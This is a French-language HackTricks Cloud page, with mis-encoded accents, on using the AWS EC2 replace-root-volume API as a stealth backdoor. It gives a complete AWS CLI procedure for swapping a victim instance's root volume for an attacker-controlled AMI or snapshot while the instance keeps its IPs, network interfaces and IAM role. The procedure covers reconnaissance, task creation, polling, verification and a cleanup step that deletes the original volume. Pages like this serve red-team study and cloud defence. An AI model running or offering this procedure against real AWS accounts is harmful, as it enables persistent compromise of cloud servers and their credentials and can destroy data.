AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Exploiter ec2:CreateReplaceRootVolumeTask pour remplacer le volume racine EBS dâune instance en cours dâexĂ©cution par un volume restaurĂ© depuis une AMI ou un snapshot contrĂŽlĂ© par lâattaquant. Lâinstance redĂ©marre automatiquement et reprend avec le systĂšme de fichiers racine contrĂŽlĂ© par lâattaquant tout en conservant les ENIs, les IP privĂ©es/publiques, les volumes non-racine attachĂ©s, et les mĂ©tadonnĂ©es de lâinstance / le rĂŽle IAM.
Prérequis
- Lâinstance cible utilise EBS comme stockage racine et sâexĂ©cute dans la mĂȘme rĂ©gion.
- AMI ou snapshot compatible : mĂȘme architecture/virtualisation/mode de dĂ©marrage (et codes produit, si applicables) que lâinstance cible.
Vérifications préalables
REGION=us-east-1
INSTANCE_ID=<victim instance>
# Ensure EBS-backed
aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text
# Capture current network and root volume
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
Remplacer le volume racine depuis une AMI (préféré)
IMAGE_ID=<attacker-controlled compatible AMI>
# Start task
TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text)
# Poll until state == succeeded
while true; do
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
done
Alternative â en utilisant un snapshot:
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
Preuves / Vérification
# Instance auto-reboots; network identity is preserved
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
# Compare before vs after
printf "ENI:%s IP:%s
ORIG_VOL:%s
NEW_VOL:%s
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
# (Optional) Inspect task details and console output
aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
RĂ©sultat attendu : ENI_ID et PRI_IP restent les mĂȘmes ; lâID du root volume passe de $ORIG_VOL Ă $NEW_VOL. Le systĂšme dĂ©marre avec le systĂšme de fichiers provenant de lâAMI/snapshot contrĂŽlĂ©e par lâattaquant.
Remarques
- LâAPI ne requiert pas que vous arrĂȘtiez manuellement lâinstance ; EC2 orchestre un redĂ©marrage.
- Par dĂ©faut, le volume EBS racine remplacĂ© (ancien) est dĂ©tachĂ© et laissĂ© dans le compte (DeleteReplacedRootVolume=false). Cela peut ĂȘtre utilisĂ© pour une restauration ou doit ĂȘtre supprimĂ© pour Ă©viter des coĂ»ts.
Restauration / Nettoyage
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
# you can create a snapshot and replace again from it:
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
# Or simply delete the detached old root volume if not needed:
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

